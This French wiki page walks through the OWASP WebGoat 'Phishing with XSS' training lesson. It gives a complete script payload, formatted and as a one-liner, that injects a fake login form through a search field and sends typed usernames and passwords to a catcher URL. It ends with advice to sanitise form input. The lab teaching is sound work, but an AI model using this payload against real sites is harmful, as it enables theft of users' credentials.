OWASP WebGoat:Phishing with XSS

From aldeid
Jump to navigation Jump to search

Phishing with XSS

Cet exercice vous propose de vous intéresser aux problématiques rencontrées sur certains sites Web : le Cross Site Scripting, dit "XSS". Une faille de XSS apparaît généralement lorsque les données d'un formulaire ne sont pas ou sont mal vérifiées. Une pratique indispensable est de "purifier" les données de toute balise HTML afin d'empêcher un attaquant d'exploiter le champ de formulaire à des fins de codage (XSS).

Dans cet exemple, il est demandé d'exploiter le champ de recherche afin de programmer un "faux" formulaire d'authentification. Lorsque celui-ci sera validé par un utilisateur non averti, les noms d'utilisateur et mot de passe fournis seront alors envoyés à un script "catcher" sur ce même serveur. On aurait également pu imaginer (et c'est généralement le cas) que ces données soient transmises à un site distant, de manière transparente pour la victime.

Le script à insérer (sur une seule ligne) dans le champ de recherche peut être le suivant :

<script>
  function hack(){
    alert("Login="+document.forms[0].user.value
      + "Password="+document.forms[0].pass.value);
    XSSImage=new Image;
    XSSImage.src="http://localhost/WebGoat/catcher"
      +"?PROPERTY=yes"
      +"&user="+document.forms[0].user.value
      +"&password="+document.forms[0].pass.value;
  }
</script>

<form>
  <br><br><HR>
  <H3>This feature requires account login:</H3>
  <br><br>
  Enter Username:<br><input type="text" id="user" name="user"><br>
  Enter Password:<br><input type="password" name="pass"><br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>

<br><br><HR>

Ce qui nous donne, sur une seule ligne, la chaîne suivante :

<script>function hack(){alert("Login="+document.forms[0].user.value+"Password="+document.forms[0].pass.value);XSSImage=new Image;XSSImage.src="http://localhost/WebGoat/catcher"+"?PROPERTY=yes"+"&user="+document.forms[0].user.value+"&password="+document.forms[0].pass.value;}</script><form><br><br><HR><H3>This feature requires account login:</H3><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name="pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

Une fois cette ligne copiée, cliquez sur le bouton Search, simulez la victime en saisissant login et mot de passe, cliquez sur le bouton "login" du "faux" formulaire d'authentification et la leçon est terminée.

Note
Une bonne habitude est de "purifier" les données des formulaires, ce qui peut être réalisé par l'excellente librairie HTMLPurifier, disponible sur le site officiel, à cette adresse: http://htmlpurifier.org/